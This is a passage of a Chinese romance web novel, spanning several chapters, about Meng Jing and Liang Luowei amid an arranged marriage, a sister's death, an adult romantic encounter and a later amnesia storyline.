“两支呢，多少钱？”梁珞唯蹲下，面无表情地出着考题。 这不是抬杠么。孟婧小声阻拦：“William，你要是没话说，我就先回去了。” 梁珞唯低头扫码：“买个花而已，用不了半分钟。” 这是时间的问题吗？孟婧尴尬的不行，特地又往远处走了几步，假装不认识这个人。 小姑娘还在掰手指头时，“微信收款一百元”的提醒已经在不远处响起，孟婧寻着声音看过去，是一个三十几岁拿着花篮的女人。 梁珞唯从篮中抽出两束康乃馨，塞到小姑娘空着的手上，又在她脑门上轻轻弹了一下：“去，送给妈妈吧。” 趁小孩子还一脸懵懂，他起身，走到孟婧前面：“跟我来。” 孟婧跟着他走到一个稍微安静的街角，路灯下两个长长的人影，空气中弥漫着隔壁街烧烤摊的味道。 梁珞唯点燃一支烟：“昨天那个酒吧里有个人被抓，听说了么。” 孟婧身边从没有抽烟的人，有些闻不习惯，默默后退半步，摇了摇头。 6. 第六夜 《绝版昨夜[京圈]》全本免费阅读 回到酒吧时，座位上只剩谭思思一个人。舞台上换了民谣歌手，弹着苦情吉他，有人跟着哼唱。 谭思思百无聊赖地看着，见孟婧回来，眼睛才有了光芒。 “学长呢？”孟婧坐上高脚凳，望了眼洗手间的位置。 谭思思啃着薯条尖尖：“临时被医院叫走了，让我和你说一声，改天请他吃大餐。” “应该的。” “你家那位呢？走了？” “什么我家那位。” 谭思思急了，掐着她胳膊上的软肉：“哎呀，你故意的是不是。” “没啦。”孟婧像是疲惫至极，趴在桌子上，声音闷闷的，“都说清楚了，当面互删，软件…卸载。” “NB…”谭思思啧啧两声，“看刚才你俩那个腻味劲儿，是人都得浅磕一下！” 孟婧知道她在故意逗自己开心，抿着嘴问：“我和他…看起来很般配？” “倒不是般配不般配的问题。”谭思思沉吟片刻，解释道，“我一直觉得你是那种做什么都淡淡的人，对周围的一切缺乏兴趣，情绪及其稳定。” 还不如说她丧丧的。 “但是刚才你看他的那两眼…怎么说呢，还挺勾人的，感觉你活了。” “勾人？我吗？”孟婧想起刚才街上的出格。 她刚刚捏住对方的项链，下一秒就被掐住了腰，男人性感的湿糯呼吸喷洒在她脖颈，让她浑身颤抖。 “看来昨晚你真的很尽兴。”他的拇指尖探进黑色吊带下摆，若有似无地刮了下她的侧腰，“可是怎么办，我对你兴趣不大。” 手腕下旋，从她裤子口袋中抽出手机，似玩味似命令：“都删了吧。” 她终于知道什么叫偃旗息鼓。 孟婧把头埋在臂弯中，沮丧道：“我可能不斩男，只斩你。” 短暂的初恋戛然而止时，她才发现，最初心动的原因，也许只是那张桀骜不驯的脸。 “到底怎么了？”谭思思轻轻拍了拍孟婧的发顶，语气难得正经：“你最近情绪不对，除了恋爱，家里是不是也有事。” 舞台上的歌手一曲唱完，摘下吉他谢幕，似是被悲伤感染，观众情绪不高，只有零星的掌声。 “思思。”孟婧没有抬头，像在对树洞倾诉，“我有个妹妹，昨晚车祸去世了。” 谭思思手上一顿：“这么突然…” 孟婧曾说过，她有个同母异父的妹妹，出生后倍受宠爱。几年前，全家人携生意一齐北上，可孟婧和他们关系疏离，当年又面临高考，就坚持留在了霖市。 “刚高考完，酒驾撞在隔离带上，当场就没了。” 事情憋在心里不说时，总觉得自己可以是全宇宙最坚强的那个。可一旦倾诉的闸门打开，心中积攒的酸涩、委屈，全部在瞬间发酵，膨胀成脆弱的泡沫，不用人戳破便自爆开来。 再抬眸，已是满脸泪痕。 她勉强勾起下坠的唇角：“我是不是特别冷血啊，上午还在太平间，晚上就来酒吧。” 可是她真的不想一个人待着。看到沈确悲痛到晕厥的脸，她总能想到自己。如果在国外手术失败，妈妈会像今天一样伤心吗？ 谭思思捏了捏她的手心：“你就是习惯什么事情都憋在心里，以为自己能消化、能解决。可是孟婧，依赖和悲伤都是人的本性，你没有犯错。” 这个时候，孟婧最缺的是陪伴。 她招呼侍者买单：“林屿说你在四季有个长租的套房，不如…今晚让我去见见世面？” * 梁珞唯踏进酒店大堂时，正赶上梁曼来电。 “一个好消息和一个坏消息，你准备听哪个？” 他拐进空无一人的吸烟室，找了个面对门口的位置坐下：“随便。” “坏消息是：昨天下午的大暴雨导致酒店线路受损，监控设备直到夜里才修好。” 也就是说，所有人都拿不到视频。 梁珞唯摸出一根烟摩挲着：“好消息呢。” “好消息是，那个女人的身份有眉目了。”梁曼略有深意道，“刚修好的设备，就是好使。” 梁珞唯嘁了声：“我可没让你查她。” 梁曼被噎得差点挂掉电话。 “是没让我查。怎么，冒着被警察叔叔请喝茶的危险帮你重新登录那个账号，复原聊天记录，都是我吃饱了撑的呗？” 她虽然业务不怎么样，嘴却从没输过：“没人跟我说过处男也提了裤子不认人啊，我还以为某些人年轻气盛，找到人以后要天天发了狠的做呢。” 梁珞唯叼着烟，也不点，唇间发出含混的声音：“能不能好好说话。” “行行行，回头你□□焚身把酒店引着了，还不是我们家倒霉。” 梁曼清了清嗓子，说道：“爷爷不是怕你爸把你也逼死，所以给你订了个娃娃亲吗，记得吧。” 梁珞唯嗯了一声。 “昨晚在你房间里的人，是你准未婚妻的姐姐。有没有很刺激！不过不是亲的啊，她虽然姓孟，但不是孟许堂亲生的。” 梁曼机关枪一样地继续说：“你是没看那段视频，白衣翩跹的美女从你房间落荒而逃，转角遇到妈，还被狠狠地扇了一巴掌，那场面，真真偶像剧一样的神反转。” 梁珞唯听到“准未婚妻”四个字时皱了皱眉，烟又回到指尖，他盯着洇湿的滤嘴，顿觉无趣，整根随手扔进了垃圾桶，“你认识她母亲。” “嗨，要说沈家以前也是京城有名的大户，虽然和孟家联姻以后越来越不行，但是沈确和孟许堂怎么也算是知名企业家，再加上她小女儿最近和你家接触的多，谁都会稍微知道一点情况吧。” “接触？我怎么不知道。”梁珞唯顿觉可笑，梁屹承明明白白地把他裹挟其中，却又要摆出一副与他无关的姿态。 “梁少爷，您是不是对自己在外面的名声有什么误解？”梁曼无奈道，“虽然说是联姻，不用培养太多感情，但是您这京城著名浪子，现在就舞到人家面前，也不好看不是。” 梁曼显然还不知道孟梦车祸去世的消息，梁珞唯不想让她牵扯太多，没有主动告知。 他双腿交叠，打量着吸烟室雕刻精美的吊顶，淡淡说:“能打听到她来梁家做什么吗。” 梁曼彻底无奈：“她去的是你家！” 梁珞唯反问:“我能问谁？” 梁屹承为了追求著名影星姜渔，抛弃原配，是当年京城一段风流韵事。姜渔生下梁珞唯后，复出失败，最终抑郁自杀。此后，梁珞唯和父亲的关系开始变得微妙。 梁庭什是梁珞唯同父异母的哥哥，自幼对梁珞唯还算不错，只是这几年逐渐接手公司，忙得几近神隐，两人许久未聚。 梁曼自知说错了话，在电话那端短暂沉默。 “有空去尝尝王姨的新菜，她喜欢看你吃饭 7. 第七夜 《绝版昨夜[京圈]》全本免费阅读 大约十年前，孟家是江南传统餐饮行业的龙头，家族兴盛，亲戚旁支也多，只要孩子足够优秀，都能为家里做事。 因此孟婧即使不受宠，在学业上也从未受到过苛待，甚至，沈确对她的要求比对孟梦还要严格。 当年，她所就读的霖市一中是当地最好的私立高中，招生时录取的尽是富家子弟中的精英，每年考上重点大学的比例与公立重点高中不分伯仲。 在这样的学习和家庭压力下，孟婧高中三年间都没有深交的好友。用谭思思的话来说，同学们都觉得她高冷、神秘，如果不是因为过分清纯漂亮，存在感几乎为零。 高考前，沈确特地独自回到霖市陪她，孟婧从学校宿舍搬回孟家别墅，两人在屋檐下共度一个月，几乎超过了过往十八年独处时间的总和。 孟婧为此偷偷感动过。她知道沈确不容易，和孟许堂虽然是联姻，但婚后还在继续经营沈家的生意。在霖市的很多个夜晚，她听着书房中还未停歇的视频会议声入睡，第二天清晨，吃了母亲亲手做的早餐，再被司机送去学校。 这是孟婧从未感受过的家的温暖，那时候她甚至想，毕业后也许可以北上工作，这样逢年过节，还可以经常去看一看妈妈。 一切美好错觉都在她拿到录取通知书那一刻彻底消失。 虽然考上了第一志愿，但录取专业却不是她最初的选择。通知书上描金的“经济学院”，官方录取分数线比她的成绩高出足足5分。 她到现在都记得沈确语重心长的样子。 “小婧，妈妈是为你好。你成绩这么优秀，本来就应该选择更适合自己的专业。以后孟梦嫁到梁家，我们家的生意肯定会更大，到时候你在南边坐镇，也好守住你外公的江山。” “分数差的不多，我捐了几个高端实验室，算起来还是他们赚了。” 自始至终，都没有问过一句孟婧的感受。 也许她并不是忘了问，而是觉得那些和其他事情相比并不值得一提。 正因如此，当多年之后，孟婧大学毕业来到京城，向她展示自己收到的研究生offer时，她才会那么崩溃。 这是孟婧二十一年来迟到的叛逆，她不后悔，甚至可以从沈确愤怒的指责中获得一丝解脱。 “虽然只学一年，但还是需要不少钱的。” 谭思思家里做玉石生意，自幼跟随父母去过很多国家，对海外生活还算了解：“不用你妈妈的钱，光靠大学那点奖学金，应该不够吧？” 她们从酒吧出来后，先去了谭思思存放行李的酒店，好在那家酒店和四季离得不远，两人拖着行李，在车流不息的夜色中分享着隐秘过往。 “我那点奖学金，只够上语言课。”孟婧笑笑，“不过我外公去世前，给我留了一点信托基金，出国还是够用的。” 她指着不远处四季酒店的招牌：“我回京从来不在孟府过夜，外公觉得这里安全一些。不过…也住不了多久了。” “为什么？” “当年的遗嘱里还有一处房产，约定等我大学毕业后再办手续，前几天，律师已经联系我了。” “真没想到你是沈老的外孙女。” 霖市人谁不知道沈未山的大名，谭思思感叹：“亏我还想着借你点钱，现在看来，谁抱谁大腿还说不定呢！” “喏，给你抱。”孟婧伸出修长美腿，两步跨进四季酒店的大门。 “坐吃山空，只有知识才是第一生产力。”总有一天，她会用自己的方式守护外公留下的东西。 进了大堂，谭思思拉着行李去前台登记。孟婧晚上喝了几种酒，刚才又吹了风，乍一走进冷气充足的房间，顿时觉得上头。 想要去休息区坐着等，却在那里发现了一个熟悉的背影。 紧接着，她的目光被男人对面坐着的女人吸引——全身大牌，气质出众，一双丹凤眼格外魅惑，她双腿交叠，翘起的脚尖正贴向男人紧实的小腿。 极具暗示性的动作，自信又娇嗔，没有人能拒绝。 而男人随意的后退与躲闪，更像是一种欲拒还迎的调情。 想起不久前在路灯下的“拥抱”，孟婧头晕目眩，却还是忍不住窥探。 那女人起身了，说了几句什么，开心地笑着，告别时，眼底都是眷恋。 那他呢？只看一个背影，也能感受到身体的松弛。 应该是愉悦的吧？完全不像他掐着她腰的时候那样，手臂肌肉微微隆起，腕上的青筋清晰可见。 女人和孟婧擦肩而过，周围一米内的空气中萦绕高级香氛的气味，孟婧假装低头，却好像瞄到了对方转身后脸色的变幻，再看时，已无迹可寻。 她揉了几下抽痛的太阳穴，看着大堂中来往的宾客，突然发现，对于熟男熟女来说，酒店二字本就带着无限暧昧，让人心生浮想。

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“谁说私下不要再见面的。”孟婧忍不住在他面颊上抹了一把，潮湿粘腻的，有温热，也有冰冷，“现在又是做什么？” 从鞋柜上抽出几张消毒湿巾，她一根手指一根手指地帮他擦干净：“告诉你密码不是为了让你大晚上吓人的。” 虽然不知道他白天经历了什么，但她看懂了，他现在心情是从未有过的糟糕。 “我以为你出去了。”梁珞唯身子没动，只将头瞥向窗外。 孟婧朝着他视线看，正好是院门的方向，漆黑一片。刚才林屿的车掉头离开，从这里应该能看到尾灯。 梁珞唯视线放空：“他送你回来的。” “嗯。” “约会么。” “…梁珞唯。” “抱歉。”男人撑起身子，扶了一把旁边的鞋柜，恢复高大身形，“我该回去了。” 玄关的钟摆声太响，孟婧默数了几秒，发现他还在原地。 她不愿再沉溺于那些该死的暧昧，于是上前靠近，轻声问道：“不是要走么，怎么，舍不得了？” 被风雨吹打过，黑色衬衫最上面的扣子早就松开，原本立挺的领口斜贴在他的锁骨上，被发丝上滴滴答答的水洇得更湿。 “你只是想让我知道，你吃醋了，对么。”呼吸从那里扫过，孟婧踮起脚尖，伸出双手捧起梁珞唯的脸，逼着他和她对视，“如果我真的去约会了呢，你要怎么办啊。” 也许是酒精作用，蓝黑色的眸子中第一次出现闪躲和不确定，锐利的刀剑不知被什么磨灭了锋芒，甚至需要很努力才能聚焦。 梁珞唯盯着孟婧如水的双眸，似要从中汲取一束光，一把火，一丝最后的温暖。 这些他都得到了，得到了却还不满足，他太冷太凉，还想要更多，多多少都不够。 行动代替思考，他放纵酒精在自己大脑中肆意冲撞，视线逐渐落在她樱红的唇上，很清醒，却不理智，试图将内心自幼建构的一切体系全部摧毁。 “不许。” 那声音低沉、嘶哑。 孟婧用拇指刮着他的唇角：“再说一遍。” “…” 孟婧惊觉腰上吃痛，下一秒便被单手箍着抱上鞋柜，双膝被掰开环住他，前襟则蹭到黑色衬衫上的雨水，越来越冰凉，再逐渐变得火热。 那是他的呼吸和体温。 耳朵被他的头发蹭得好痒，她胡乱抚摸着他的后颈，不忘再添一把火。 “梁珞唯，昨晚你硬成那样都没有亲我，到底是不愿还是不敢？” 头顶钟摆还在荡着，他没有回答，呼吸却重了几分，随后撤身，抬眸，终于重重咬上她的唇。 27. 第二十七夜 孟婧没谈过恋爱，也没怎么见过父母在她面前表现恩爱，对于亲密关系的所有认知都来源于文字和影视。好在这些事对她来说不陌生，已经二十出头，少儿不宜的多多少少也看过一些。 阅读和观看的体验终究是纸上谈兵，她期盼了，勾引了，大胆得连自己都佩自己，但真正发生时却还是不知如何应对。 文字和视频没有告诉过她的是，原来男人的体温如此滚烫，唇舌的厮磨可以如此深入，原来生理反应流出的泪因接近窒息而产生，原来不仅女人的叫声会让人兴奋，男人的喘息声更甚。 梁珞唯的吻并不算温柔，一开始是毫无章法的乱咬，更像是撒气，许是察觉到她的颤抖，怕把她咬疼，于是又用双手捧起她的下颌，改为自上而下地温柔贴近。 原来生涩、紧张的，不止是她。 刚刚用湿巾帮他清理过劲瘦修长的五指，此刻就在鼻息之下，淡淡酒精味道也能醉人，孟婧感觉自己的脸被点燃，耳朵在烧，晕得生出得寸进尺的心思。看着他不断眨动的睫毛，她微张着樱桃口中的勾，迎着他的贴近，小心地探入一点，又收回。 勇气在此刻用尽，她慌忙交出主动权。 梁珞唯捕捉到这含羞的邀请，呼吸瞬间急迫几分，指尖发力将她的脸捧得更近，紧追不放的纠缠，终于得逞。同样是初次，他却极有天赋般，越搅越熟练，越弄越大声，一直到她唇角酸涩溢出晶莹。 孟婧可以感觉到男人高挺的鼻梁陷在她的面颊，鼻尖在她脸上描画着不规律的折线，换气的功夫，上膛一扫而过的滑腻灼热让她软了腿，险些勾不住对方紧绷劲瘦的腰。 剧烈的心跳声顺着血管在大脑中爆炸，太凶了，像长时间未进食的恶狼，她想，如果再放任这样下去，自己就要被吃掉了。 重心不稳，孟婧下意识揪住他后颈的发尾，可惜太短，几缕发丝从指尖滑走，抓了个空。 她哼叫一声，他的手换了地方，这才稳住她的腰腹。 还好，还没完全疯掉。 头部的禁锢终于解除，孟婧仰面靠在墙上大口呼吸着，可对方又去寻她的颈间和耳后，酥麻的痒意再次袭来。 “梁珞唯…”她气若游丝，嗓子里还带着弯钩。 梁珞唯在这央求声中一丝丝回神，胸腔积攒了一天的浊气似乎被刚才的激烈起伏带走一些，终于不舍地收回唇舌。 他知道自己越了界，可怀里的人太柔太软，让他控制不住内心的邪恶因子，还想探索，还想弄清楚，明明浑身湿透的人不是她，怎么反而一碰就能掐出水来。 “抱我下去…”孟婧试图推开面前坚硬的高墙，“硌…” 鞋柜边角锋利硬挺，前面…也有点过于契合。 “抱歉。” 这是他第二次哑着嗓子道歉，行动却与刚才有些不同——梁珞唯又吻了她，蜻蜓点水般的两下，先落在眉心，又落到唇角。 孟婧被突如其来的温柔撩得心脏鼓胀，也回敬般地和他贴了贴面。 这样简单的接触，居然也会让人嘴角上扬。 梁珞唯左臂穿到她膝下一绕一抬，孟婧便坐在他小手臂上，就这么单手托着走进客厅。 客厅没开灯，只能借着玄关的光亮看清一些模糊的影子，好在梁珞唯视力不错，不紧不慢地走向沙发的方向走。 “梁珞唯，你抱小猫呢。”孟婧捶了他几下，像猫爪挠人，“放我下来。” 说完被丢到沙发上，陷进柔软。 梁珞唯俯身靠近，捏住她的下巴：“有吃的么。” 那眼神和要吃人也没什么区别。 “你早晨煮的粥还没喝…” 下巴上的力度变了：“他没碰？” “没。”孟婧哼了一声，随即带着好奇无声的目光瞟在他身体某处。黑漆漆的，也看不太清。 “要不我开灯给你看？” “……滚。” 激烈地吻过后，两人之间的气场发生微妙变化，孟婧不知该如何形容这种感觉，她和他在各种意义上都更近了一些。 梁珞唯揉了一把她的头发：“我去洗澡。” 留她一个人在黑暗中发呆。 他上了二楼主卧，开灯。这里的陈设和他清晨离开时一模一样，那件白色T恤还搭在原来的位置，看起来没被人碰过。 他拿起衣服，摩挲几下又放下。裤子还是没得换，索性都不穿？ 孟婧没在这里住几晚，个人物品不多，浴室洗手台面上零星摆放了几个护肤品小样，除此之外空空荡荡，倒也不算是多私密的空间。 梁珞唯取出口袋中断成两截的录音笔，打开水龙头冲洗着。雨水混合着泥裹在上面，是他刚才抢救树苗时候掉出来沾上的。 录音笔是他自己掰断的。 在地下车库中听到梁庭什和谭立的对话后，他陷入过短暂的精神失控，再恢复神志时，已经回到自己车上，放在口袋中的一只手刺痛难忍，录音笔不知何时变成两半，断口处紧紧扎着皮肉。 后来，他收到梁庭什的信息，说是临时有个紧急会议要开，让他在办公室等，他找理由拒绝，转头去了酒吧。 和谭立闹翻的消息应该是被梁庭什压下来的，酒吧里的狐朋狗友鲜有人知晓，他当了一天财神爷，开了几瓶洋酒和全场一同沉沦。 这就是梁庭什想看到的么？看到他浑浑噩噩，栖身在花天酒地之间，心中再无珍惜的人事，即使有，也要她如水中月亮，求而不得，一触便碎。 如果今天没有发现他的真实面目，他还要多久才能露出狐狸尾巴？ 梁珞唯放任自己醉在情绪里，直到窗外变天。 暴雨和闪电像是一记警钟，提醒他不能沉溺于此，这里的一草一木，她的一颦一笑，都需要人守护。 就算今后这些事有别人来做，起码今晚他奢求那个人是自己。 卫生间的门敞着，孟婧进房间后吓了一跳，在看清楚之前将门嘭地关上：“注意素质！” 梁珞唯收起录音笔：“还没洗。” 孟婧将衣服放在床上，打开床头的抽屉，将购物袋中的东西倾倒进去，火速关上。 她回头看了一眼，确定梁珞唯没有出来：“我有一套oversize的睡衣，放在床上了，你应该能穿。” 梁珞唯声音隔着一道门：“你确定？” “不管你是穿这个还是光着，反正身上那件必须扔到洗衣机里。” 又是泥又是雨的，她还怎么抱… “知道了。” 梁珞唯洗完澡，发现卧室门已经从外面被带上，可能是怕他真光着出来吧。 孟婧的居家服应该是为留学准备的，崭新的欧美潮牌，男女同款不分尺码，梁珞唯穿上后是利落板正的效果。 换好下楼，粥已经热好，孟婧见到他一身粉红色，笑得眼里亮晶晶的：“原来酷哥穿粉色还是酷哥。” 她得了吻，任了性，对他越发放肆。 她权当他甘之如饴。 前一天剩的小酥肉被空气炸锅重新烘烤过，配着粥吃也算独特搭配。很朴素的一餐，却被梁珞唯优雅的吃相衬托得如珍馐一般。 孟婧看他食不言，于是也等到吃完后才开口：“梁珞唯，你还是不愿意告诉我今天到底发生了什么事吗？” 不知是体温回暖还是衣服颜色衬托，梁珞唯脸上恢复一些血色，但孟婧的提起的话题，他显然不愿意展开：“说不清，以后有机会再说。” “如果没机会了呢？”孟婧低头说，“我可能会提前出国。” “什么时候？” “还不确定。”她绞着桌布的一角，“而且可能…要毕业以后才回来。” 梁珞唯想到梁庭什的话。 远离自己，她会更加安全。 “挺好的。”梁珞唯点点头，“公司那边我会去解决，你随时可以离开。” “嗯。” 孟婧没有再问他有什么想对她说的，不需要，也没必要，他们本来就没有未来，况且她的身体… 到底要不要告诉他自己的病情呢？算了，知道也只能平添无用的担心。 孟婧抬眼去看他：“如果有一天我把你忘了，你会怨我吗？” “你应该忘了。”梁珞唯的回答出乎她的意料，“孟婧，这一点上，我认为我们能达成一致。” 可以心照不宣地亲密，但誓言、承诺这种东西，他们目前还没人给得起。 虽然知道他说的没错，但孟婧的心还是抽痛了一下，和其他生理反应一样不可控制，成长蜕变的必经之痛，她不是第一次体会。 有一天她会变得坚强，为人生理想，为家族荣耀，但毕竟不是现在。 “我去洗澡。”她撇下他独自上楼。 梁珞唯叹了口气，起身收拾碗筷。 别扭心情很快被水冲走，待到孟婧洗漱完毕，梁珞 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粉红酷哥用力揉了揉她的头顶：“这脑子里都是什么。” “是你呗。”她脱口而出。 说完又觉不妥，将他的手拨开：“不吹了。” 脸好热。 梁珞唯嘁了一声，反手捏了捏她的下巴，将吹风机放回洗手间。 看着他的背影，孟婧以光速躺到床的一边，她先将杯子铺平，再掀起旁边位置的一个被角，然后靠在床头，拿起笔记本翻开。 这应该是她在这里的最后一晚了，孟婧在心里对梁珞唯说了声抱歉。晚饭前，林屿给她发了消息，国外那边接收了她的病例，并且诚挚邀请她参与前期身体检测，林屿已经买好明天晚上的机票，和她一同出发。 今晚他会睡在她身边吗？如果他主动离开，要挽留吗？今晚是最后的机会，也不知道超市里买的那些东西到底能不能用上… 脸越来越热。 “想什么呢。”低沉的嗓音在耳边响起，随后脸颊收到一个柔软的吻，唇峰擦过她的耳尖，轻声提醒，“笔记本拿倒了。” 孟婧大脑宕机，慌乱地将手中的东西转了一圈。 这回才真是倒了。 男性的体温在身旁灼烧，干燥、温暖，没有肢体接触，相同的沐浴露气味却足以让人浮想联翩。 孟婧故作镇定地将笔记本转回来：“我在看todolist，谢谢你今天帮我完成愿望。” 像是为了证明自己所言非虚，她抽出侧面的签字笔，在已经完成的愿望后面划上一个勾。 退婚、种树、接吻，仿佛冥冥之中都和身边的男人扯上关系。 现在只剩下和外公告别。 孟婧在那后面也划了个勾：“明早我就去看外公。” 梁珞唯不满：“没请假就要旷工？” 孟婧把笔记本放回床头，顺手关了主灯。屋内只剩昏黄灯光，她把脸埋在被子里，声音闷闷的：“那求求梁经理，明天放我的假呗。” “口头求？”耳边传来轻笑，“吃饭前往抽屉里塞的什么。” “！”孟婧吓得撑起身子，“你…翻了！？” “我没那么无聊。”梁珞唯把一个小盒子举到面前，“掉在床边了，让我看看，草莓凸…唔。” 孟婧闭着眼睛捂住他的嘴，手心烫到不行。 梁珞唯没挣扎，鼻尖顶着她的指缝：“是为我买的么？” “不是！”这要她怎么承认。 “我拿了，就是我的。” 孟婧被轻易按倒在床上。 雄性荷尔蒙气息席卷她的全身，梁珞唯终于可以褪去那该死的粉红色，将满腔灼热更好地传递给出去。 “你的牙印还在，摸吗？” 孟婧四肢都由不得自己，手被握着抚在伤疤上游走，又移去其他地方。 她羞得牙根发颤，忍不住又在那上面添了一口。这次像是赌气撒娇，并没有出血，却也像点燃引信，引得身上这块滚烫的巨石濒临炸开。 “我说过，我不是什么正人君子。” 男人的呼吸杂乱，她哪里都痒。 “我的小猫是肉食动物。” “吃吧。” … 她藏在心里的第五个愿望，终于如愿以偿。 28. 第二十八夜 孟婧看着照片上那张稚气未脱的脸，心中五味杂陈。 五年来，梁家这浮华欢乐场里没人知道她到底经历过什么，只有她自己明白，历尽千帆，她不再是那个内心别扭，能装能忍的小姑娘。 但即便如此，过往的谜团依旧在这段时间中反复吸引着她，找寻孟梦去世的真相，也给那片空白记忆一个合理的交代，是她此次回国的主要原因。 至于联姻，她不相信梁家会接受一个在海外消失了五年的陌生女人。 “孟小姐。”梁珞唯见她面色凝重，拿着工牌的手臂朝不远处指了一下，“雪大。” 孟婧如梦初醒，回头看了眼几步之遥的灯光。被大雪覆盖的玻璃花房内，灯光照射下的热带植物郁郁葱葱，俨然另一个温暖世界。 “好吧。” 高跟鞋的防水台和洁白脚趾之间沾了雪水，格外黏腻，她转身拢好披肩，在雪地上一脚深一脚浅地踩过，每每落下一枚脚印，都暗自庆幸着——她早已不是刚上班时天天崴脚的那个Sandra了，要是现在滑倒跌在身后那人的怀里，很难不被怀疑今晚前来的目的。 梁珞唯见她在前面走得不紧不慢，也自觉缩短了每一步的距离。灰色羊毛披肩沾了太多雪，化掉后又在表面结了一层冰，她浑然不知被冰到了，只是下意识缩着脖子。 他皱眉。 穿了高跟鞋也还是小小一只，大雪天裹一张漏洞百出的高级布，也不怕被冻死。 于是，孟婧站定回首时，眼前一黑，肩膀处多了一件宽大的毛呢外套。 除去体温和好闻的檀木香气，落下的还有男人没什么起伏的磁性嗓音：“孟小姐是想冻晕在这儿，然后等人抱你出去么。” 花房内恒温恒湿，新风系统排出温热气流，吹在她脸上痒痒的，可刚要回温的四肢却被这一盆冷水浇个透心凉。 “添麻烦了。”她抽出满是冰碴的披肩，拂落上面的水珠，无意纠缠在这小小不言的体恤上，“刚才梁先生说的交易，具体是指？” 五年来，她的病情只有主治医生和研究课题组知道，就连好闺蜜谭思思都还不清楚，她很好奇，梁珞唯为什么笃定她会为此妥协。 梁珞唯外套之下穿得是一件条纹西装，华丽复古，剪裁极好，虽然单薄，却被他紧实的肌肉撑得挺括有型。 他抬臂看了一眼时间：“虽然生日宴不是我的初衷，但也确实有事要宣布，你我二人的联姻，孟小姐有所耳闻？” 孟婧低头皱眉，讶异于这话题居然是他先提起。 事情出乎意料地顺利。 想起刚才哭着跑走的那位富家小姐，孟婧尽量表现得更加大方和坦然，她抬头和他对视，露出一个释然的笑：“如果梁先生是为了这件事，那么我保证配合。” “那就好。”梁珞唯蓝黑色的眸中闪过讶异，“Devin说你会拒绝，没想到孟小姐比想象中爽快。” 这话让孟婧觉得有种单方面被看透的窘迫。能在黑夜中一眼认出，梁珞唯必定提前调查过她，但没想到的是居然会通过Devin。 那她在国外的这些年…他又知道多少？ 孟婧自觉配合积极，也理应从对方手中拿回来点什么，于是装作不经意地再次和他对视。 她发现梁珞唯也在看她。 那眼神显然不带什么感情，孟婧甚至从中读出了一些专注和…好奇？他像在参观博物馆的优等生，正试图分析出玻璃罩中之物沉淀的无尽岁月。 真的好帅。 孟婧搜刮仅存的所有记忆，发现确实没有见过比眼前人更英俊的。 “某些方面，Devin不一定了解我。”孟婧在他的注视中节节败退，忍着脸热后退一步，“所以梁先生为什么会有我实习时候的工牌？” 她问得随意，绝对看不出其实对那东西一无所知。 “你忘了？”梁珞唯疑惑，“不在我这儿，还能在谁那儿，张沛吗？” 是一个没听过的名字。 孟婧咬了咬牙，试着模棱两可：“张沛啊，确实，当年…” “我对你们之间的事情不感兴趣。”梁珞唯又看了一眼时间，“宴会还有流程要走，孟小姐，再会。” 孟婧不明所以。 事情已经说开，婚约取消，还需要再会什么？难道是要讨论一下如何和两家解释退婚的事吗。 她脑中翻飞各种可能性，不经大脑地呆呆点头：“哦。” “不是要找张沛？”梁珞唯抬眸时尽是散漫，“他就在宴会厅，你身上的衣服，让他拿给我。” 临走，梁珞唯又深深看了一眼孟婧，似乎是在说“不要玩儿找机会当面还衣服的无聊戏码”。 孟婧笑着挥手道谢，就差当场用手指蘸着雪花写下保证。 夜色清冷，回到宴会厅的路依旧湿滑，好在身体被笼在质地柔软又温暖的外套之中，又有了温度。 现在令她头大的是如何找到那个叫张沛的人，听梁珞唯的口气，此人应该是她当年的同事，那时候孟婧在京市只停留过短短一阵，想来关系不会太近。 当年他们三人…在同一家公司？可看梁珞唯刚才的态度，明明像是面对第一次见面的陌生人。 心里想着事情，不知不觉便回到宴会厅外。临进门，孟婧将外套脱下抱在手中，即便能欣然接受宴会主人的善意，但成为场上焦点这种事，她并不热衷。 本想先让侍者领她去洗手间清理一下身上的雪，谁知一进门便被Devin抓了个包。 “Sandra，终于找到你了！”Devin满脸红光，招呼孟婧过去，“再给你介绍一位重要人物。” 孟婧躲在毛呢外套之下的双手交叠着攥紧，面上迅速换回无懈可击的温柔笑容：“刚才喝得有点多，出去呼吸一下新鲜空气。” Devin身旁站了一位年轻男人，看起来二十出头，西装革履，梳着与他年纪不相符的油头，盈盈笑着。 对方跟着Devin的介绍，视线先是落在她手中的外套上，随后看向她的脸，表情由微笑逐渐变为不可思议：“天呢…你是…孟婧！” 孟婧脚步一顿，笑容僵在脸上。 这场景在国外也曾发生。 当年在产房醒来后，她发现自己的记忆还停留在大学毕业后从霖市到京市的飞机上。 那年夏天，乃至出国后一年的记忆，在脑中成了一片空白——没有孟梦的死，没有留学，没有课题研究。 当然没有恋爱，更没有怀孕。 一觉醒来便进入人生新的阶段，茫然、绝望都不足以形容当时的心情，全世界唯一的依靠只有怀中啼哭的婴儿，和她血脉相连，却找不到确切支点的新生命。 后来，她抱着Toby出院，回到租住的小公寓后，就经常会遇到陌生的面孔和她打招呼。 隔壁的邻居，街角咖啡店的阿姨，项目组的医生们，还有学校中的老师和同学。大家热情而友善，时而逗逗小婴儿，时而问问她的近况。 但对于孟婧来说，每一张带着疑问的面孔都像在嘲笑着她的病情，为此她经历了漫长的焦虑和抑郁，直到Toby慢慢长大。 再后来，她花了小半年时间，在林屿的帮助下将大部分过往拼凑完整，但完整的仅仅是国外不到一年的生活，对于京市发生的一切，只能靠她自己去寻找。 眼前这个年轻人看起来就是个突破口，而她已经可以坦然应对一切。 “好久不见。”孟婧朝两人走过去，抱歉地欠身，“怪我，真的太久没回国了，请问你是…” “我是张沛啊！”年轻男人原地转了一圈，又摸了摸自己的西服前襟，“认不出来也正常，我前几年减肥瘦了五十斤，就连亲戚也认不出来呢。” “你也变了不少。”张沛上下打量着一身性感晚礼服的孟婧，“成熟了，也更漂亮了！” “谢谢。”真是得来全不费功夫，孟婧面露喜色，根据自己的猜测继续问，“张沛，你现在跟着…梁少？” “是啊！”张沛面露回忆，“当年那段实习对我影响挺大的，所以毕业后我就进了梁氏集团，现在嘛…” 他清了清嗓子，却被一旁看戏的Devin抢了先。 Devin一脸欣赏地介绍道：“Sandra，这位是梁氏集团副总裁的私人秘书，之后我们在梁氏的审计工作，也由张秘书对接。” 张沛谦虚摆手：“小梁总有很多秘书，我只是其中之一。” “没想到是以这种身份重逢。”孟婧连忙伸出手，“自我介 